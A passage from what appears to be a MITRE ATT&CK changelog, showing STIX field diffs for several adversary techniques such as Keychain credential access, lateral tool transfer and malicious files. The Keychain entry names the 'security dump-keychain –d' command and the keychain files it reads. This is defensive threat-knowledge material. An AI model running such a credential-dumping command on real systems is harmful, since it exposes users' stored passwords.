| external_references[8]['url'] | https://github.com/m0nad/Diamorphine | https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ |
| external_references[9]['source_name'] | RSAC 2015 San Francisco Patrick Wardle | GitHub Diamorphine |
| external_references[9]['description'] | Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018. | Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018. |
| external_references[9]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://github.com/m0nad/Diamorphine |
| external_references[10]['source_name'] | Synack Secure Kernel Extension Broken | Securelist Ventir |
| external_references[10]['description'] | Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018. | Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018. |
| external_references[10]['url'] | https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ | https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/ |
| external_references[11]['source_name'] | Securelist Ventir | User Approved Kernel Extension Pike’s |
| external_references[11]['description'] | Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018. | Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021. |
| external_references[11]['url'] | https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/ | https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/ |
| external_references[12]['source_name'] | Trend Micro Skidmap | Linux Kernel Module Programming Guide |
| external_references[12]['description'] | Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020. | Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018. |
| external_references[12]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/ | http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html |
| external_references[13]['source_name'] | Linux Loadable Kernel Module Insert and Remove LKMs | Linux Kernel Programming |
| external_references[13]['description'] | Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018. | Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018. |
| external_references[13]['url'] | http://tldp.org/HOWTO/Module-HOWTO/x197.html | https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf |
| external_references[14]['source_name'] | Wikipedia Loadable Kernel Module | Trend Micro Skidmap |
| external_references[14]['description'] | Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018. | Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020. |
| external_references[14]['url'] | https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux | https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/ |
| external_references[15]['source_name'] | User Approved Kernel Extension Pike’s | Purves Kextpocalypse 2 |
| external_references[15]['description'] | Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021. | Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021. |
| external_references[15]['url'] | https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/ | https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/ |
| external_references[16]['source_name'] | Purves Kextpocalypse 2 | RSAC 2015 San Francisco Patrick Wardle |
| external_references[16]['description'] | Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021. | Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018. |
| external_references[16]['url'] | https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/ | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
| external_references[17]['source_name'] | Apple Developer Configuration Profile | Synack Secure Kernel Extension Broken |
| external_references[17]['description'] | Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021. | Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018. |
| external_references[17]['url'] | https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf | https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Wikipedia Loadable Kernel Module', 'description': 'Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.', 'url': 'https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux'} |
| x_mitre_contributors | | Eric Kaiser @ideologysec |
| x_mitre_data_sources | | Kernel: Kernel Module Load |
| x_mitre_data_sources | | Process: Process Creation |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Kernel: Kernel Module Load | |
[T1555.001] Credentials from Password Stores: Keychain
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may collect the keychain storage data from a sys | t | Adversaries may acquire credentials from Keychain. Keychain |
| tem to acquire credentials. Keychains are the built-in way f | | (or Keychain Services) is the macOS credential management sy |
| or macOS to keep track of users' passwords and credentials f | | stem that stores account names, passwords, private keys, cer |
| or many services and features such as WiFi passwords, websit | | tificates, sensitive application data, payment data, and sec |
| es, secure notes, certificates, and Kerberos. Keychain files | | ure notes. There are three types of Keychains: Login Keychai |
| are located in <code>~/Library/Keychains/</code>,<code>/Lib | | n, System Keychain, and Local Items (iCloud) Keychain. The d |
| rary/Keychains/</code>, and <code>/Network/Library/Keychains | | efault Keychain is the Login Keychain, which stores user pas |
| /</code>. (Citation: Wikipedia keychain) The <code>security< | | swords and information. The System Keychain stores items acc |
| /code> command-line utility, which is built into macOS by de | | essed by the operating system, such as items shared among us |
| fault, provides a useful way to manage these credentials. T | | ers on a host. The Local Items (iCloud) Keychain is used for |
| o manage their credentials, users have to use additional cre | | items synced with Apple’s iCloud service. Keychains can b |
| dentials to access their keychain. If an adversary knows the | | e viewed and edited through the Keychain Access application |
| credentials for the login keychain, then they can get acces | | or using the command-line utility <code>security</code>. Key |
| s to all the other credentials stored in this vault. (Citati | | chain files are located in <code>~/Library/Keychains/</code> |
| on: External to DA, the OS X Way) By default, the passphrase | | , <code>/Library/Keychains/</code>, and <code>/Network/Libra |
| for the keychain is the user’s logon credentials. | | ry/Keychains/</code>.(Citation: Keychain Services Apple)(Cit |
| | | ation: Keychain Decryption Passware)(Citation: OSX Keychain |
| | | Schaumann) Adversaries may gather user credentials from Key |
| | | chain storage/memory. For example, the command <code>securit |
| | | y dump-keychain –d</code> will dump all Login Keychain crede |
| | | ntials from <code>~/Library/Keychains/login.keychain-db</cod |
| | | e>. Adversaries may also directly read Login Keychain creden |
| | | tials from the <code>~/Library/Keychains/login.keychain</cod |
| | | e> file. Both methods require a password, where the default |
| | | password for the Login Keychain is the current user’s passwo |
| | | rd to login to the macOS host.(Citation: External to DA, the |
| | | OS X Way)(Citation: Empire Keychain Decrypt) |
New Detections:
- DS0009: Process (Process Creation)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-02-17 13:14:31.140000+00:00 | 2022-04-18 20:32:22.122000+00:00 |
| description | Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.
To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials. | Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service.
Keychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)
Adversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain –d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) |
| external_references[1]['source_name'] | Wikipedia keychain | External to DA, the OS X Way |
| external_references[1]['description'] | Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017. | Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017. |
| external_references[1]['url'] | https://en.wikipedia.org/wiki/Keychain_(software) | http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way |
| external_references[2]['source_name'] | External to DA, the OS X Way | Keychain Services Apple |
| external_references[2]['description'] | Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017. | Apple. (n.d.). Keychain Services. Retrieved April 11, 2022. |
| external_references[2]['url'] | http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way | https://developer.apple.com/documentation/security/keychain_services |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Empire Keychain Decrypt', 'description': 'Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.', 'url': 'https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py'} |
| external_references | | {'source_name': 'OSX Keychain Schaumann', 'description': 'Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.', 'url': 'https://www.netmeister.org/blog/keychain-passwords.html'} |
| external_references | | {'source_name': 'Keychain Decryption Passware', 'description': 'Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.', 'url': 'https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption'} |
| x_mitre_data_sources | | Process: Process Creation |
[T1570] Lateral Tool Transfer
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may transfer tools or other files between system | t | Adversaries may transfer tools or other files between system |
| s in a compromised environment. Files may be copied from one | | s in a compromised environment. Once brought into the victim |
| system to another to stage adversary tools or other files o | | environment (i.e. [Ingress Tool Transfer](https://attack.mi |
| ver the course of an operation. Adversaries may copy files l | | tre.org/techniques/T1105)) files may then be copied from one |
| aterally between internal victim systems to support lateral | | system to another to stage adversary tools or other files o |
| movement using inherent file sharing protocols such as file | | ver the course of an operation. Adversaries may copy files b |
| sharing over SMB to connected network shares or with authent | | etween internal victim systems to support lateral movement u |
| icated connections with [SMB/Windows Admin Shares](https://a | | sing inherent file sharing protocols such as file sharing ov |
| ttack.mitre.org/techniques/T1021/002) or [Remote Desktop Pro | | er [SMB/Windows Admin Shares](https://attack.mitre.org/techn |
| tocol](https://attack.mitre.org/techniques/T1021/001). Files | | iques/T1021/002) to connected network shares or with authent |
| can also be copied over on Mac and Linux with native tools | | icated connections via [Remote Desktop Protocol](https://att |
| like scp, rsync, and sftp. | | ack.mitre.org/techniques/T1021/001).(Citation: Unit42 Locker |
| | | Goga 2019) Files can also be transferred using native or ot |
| | | herwise present tools on the victim system, such as scp, rsy |
| | | nc, curl, sftp, and [ftp](https://attack.mitre.org/software/ |
| | | S0095). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-09-28 21:17:42.490000+00:00 | 2022-04-19 15:34:49.016000+00:00 |
| description | Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. | Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)
Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). |
| x_mitre_data_sources[0] | Network Share: Network Share Access | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Flow | Process: Process Creation |
| x_mitre_data_sources[3] | Network Traffic: Network Traffic Content | Network Share: Network Share Access |
| x_mitre_data_sources[4] | Command: Command Execution | File: File Creation |
| x_mitre_data_sources[5] | Process: Process Creation | Command: Command Execution |
| x_mitre_data_sources[6] | File: File Creation | File: File Metadata |
| x_mitre_data_sources[7] | File: File Metadata | Network Traffic: Network Traffic Content |
| x_mitre_detection | Monitor for file creation and files transferred within a network using protocols such as SMB. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts. | Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts. |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Unit42 LockerGoga 2019', 'description': 'Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.', 'url': 'https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/'} |
[T1543.001] Create or Modify System Process: Launch Agent
Current version: 1.4
Version changed from: 1.3 → 1.4
New Mitigations:
- M1022: Restrict File and Directory Permissions
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Antonio Piazza, @antman1p'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-11-03 20:11:51.687000+00:00 | 2022-04-21 16:13:00.598000+00:00 |
| external_references[2]['source_name'] | OSX Keydnap malware | Sofacy Komplex Trojan |
| external_references[2]['description'] | Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017. | Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. |
| external_references[2]['url'] | https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ | https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ |
| external_references[3]['source_name'] | Antiquated Mac Malware | OceanLotus for OS X |
| external_references[3]['description'] | Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. | Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. |
| external_references[3]['url'] | https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ | https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update |
| external_references[4]['source_name'] | OSX.Dok Malware | OSX Keydnap malware |
| external_references[4]['description'] | Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017. | Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017. |
| external_references[4]['url'] | https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ | https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ |
| external_references[5]['source_name'] | Sofacy Komplex Trojan | Methods of Mac Malware Persistence |
| external_references[5]['description'] | Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. |
| external_references[5]['url'] | https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
| external_references[6]['source_name'] | Methods of Mac Malware Persistence | OSX Malware Detection |
| external_references[6]['description'] | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. | Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017. |
| external_references[6]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf |
| external_references[7]['source_name'] | OSX Malware Detection | Antiquated Mac Malware |
| external_references[7]['description'] | Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017. | Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. |
| external_references[7]['url'] | https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf | https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ |
| external_references[8]['source_name'] | OceanLotus for OS X | OSX.Dok Malware |
| external_references[8]['description'] | Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. | Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017. |
| external_references[8]['url'] | https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update | https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Service: Service Creation |
| x_mitre_data_sources | | Service: Service Modification |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Service: Service Creation | |
| x_mitre_data_sources | Service: Service Modification | |
[T1074.001] Data Staged: Local Data Staging
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may stage collected data in a central location o | t | Adversaries may stage collected data in a central location o |
| r directory on the local system prior to Exfiltration. Data | | r directory on the local system prior to Exfiltration. Data |
| may be kept in separate files or combined into one file thro | | may be kept in separate files or combined into one file thro |
| ugh techniques such as [Archive Collected Data](https://atta | | ugh techniques such as [Archive Collected Data](https://atta |
| ck.mitre.org/techniques/T1560). Interactive command shells m | | ck.mitre.org/techniques/T1560). Interactive command shells m |
| ay be used, and common functionality within [cmd](https://at | | ay be used, and common functionality within [cmd](https://at |
| tack.mitre.org/software/S0106) and bash may be used to copy | | tack.mitre.org/software/S0106) and bash may be used to copy |
| data into a staging location. | | data into a staging location. Adversaries may also stage co |
| | | llected data in various available formats/locations of a sys |
| | | tem, including local storage databases/repositories or the W |
| | | indows Registry.(Citation: Prevailion DarkWatchman 2021) |
New Detections:
- DS0024: Windows Registry (Windows Registry Key Modification)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Massimiliano Romano, BT Security'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-05-26 19:23:54.854000+00:00 | 2022-04-21 16:07:10.829000+00:00 |
| description | Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. | Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.
Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021) |
| x_mitre_detection | Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.
Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.
Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection. |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Prevailion DarkWatchman 2021', 'description': 'Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.', 'url': 'https://www.prevailion.com/darkwatchman-new-fileless-techniques/'} |
| x_mitre_data_sources | | Command: Command Execution |
| x_mitre_data_sources | | Windows Registry: Windows Registry Key Modification |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Command: Command Execution | |
[T1204.002] User Execution: Malicious File
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | An adversary may rely upon a user opening a malicious file i | t | An adversary may rely upon a user opening a malicious file i |
| n order to gain execution. Users may be subjected to social | | n order to gain execution. Users may be subjected to social |
| engineering to get them to open a file that will lead to cod | | engineering to get them to open a file that will lead to cod |
| e execution. This user action will typically be observed as | | e execution. This user action will typically be observed as |
| follow-on behavior from [Spearphishing Attachment](https://a | | follow-on behavior from [Spearphishing Attachment](https://a |
| ttack.mitre.org/techniques/T1566/001). Adversaries may use s | | ttack.mitre.org/techniques/T1566/001). Adversaries may use s |
| everal types of files that require a user to execute them, i | | everal types of files that require a user to execute them, i |
| ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and | | ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and |
| .cpl. Adversaries may employ various forms of [Masqueradin | | .cpl. Adversaries may employ various forms of [Masqueradin |
| g](https://attack.mitre.org/techniques/T1036) on the file to | | g](https://attack.mitre.org/techniques/T1036) and [Obfuscate |
| increase the likelihood that a user will open it. While [M | | d Files or Information](https://attack.mitre.org/techniques/ |
| alicious File](https://attack.mitre.org/techniques/T1204/002 | | T1027) to increase the likelihood that a user will open and |
| ) frequently occurs shortly after Initial Access it may occu | | successfully execute a malicious file. These methods may inc |
| r at other phases of an intrusion, such as when an adversary | | lude using a familiar naming convention and/or password prot |
| places a file in a shared directory or on a user's desktop | | ecting the file and supplying instructions to a user on how |
| hoping that a user will click on it. This activity may also | | to open it.(Citation: Password Protected Word Docs) While |
| be seen shortly after [Internal Spearphishing](https://attac | | [Malicious File](https://attack.mitre.org/techniques/T1204/0 |
| k.mitre.org/techniques/T1534). | | 02) frequently occurs shortly after Initial Access it may oc |
| | | cur at other phases of an intrusion, such as when an adversa |
| | | ry places a file in a shared directory or on a user's deskto |
| | | p hoping that a user will click on it. This activity may als |
| | | o be seen shortly after [Internal Spearphishing](https://att |
| | | ack.mitre.org/techniques/T1534). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | ['TruKno'] |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-07-21 23:10:47.193000+00:00 | 2022-01-05 21:02:22.796000+00:00 |
| description | An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.
Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.
While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). | An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.
Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)
While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). |
| x_mitre_data_sources[0] | Process: Process Creation | File: File Creation |
| x_mitre_data_sources[1] | File: File Creation | Process: Process Creation |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Password Protected Word Docs', 'description': "Lawrence Abrams. (2017, July 12). PSA: Don't Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022.", 'url': ' https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/'} |
[T1553.005] Subvert Trust Controls: Mark-of-the-Web Bypass
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
- M1042: Disable or Remove Feature or Program
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
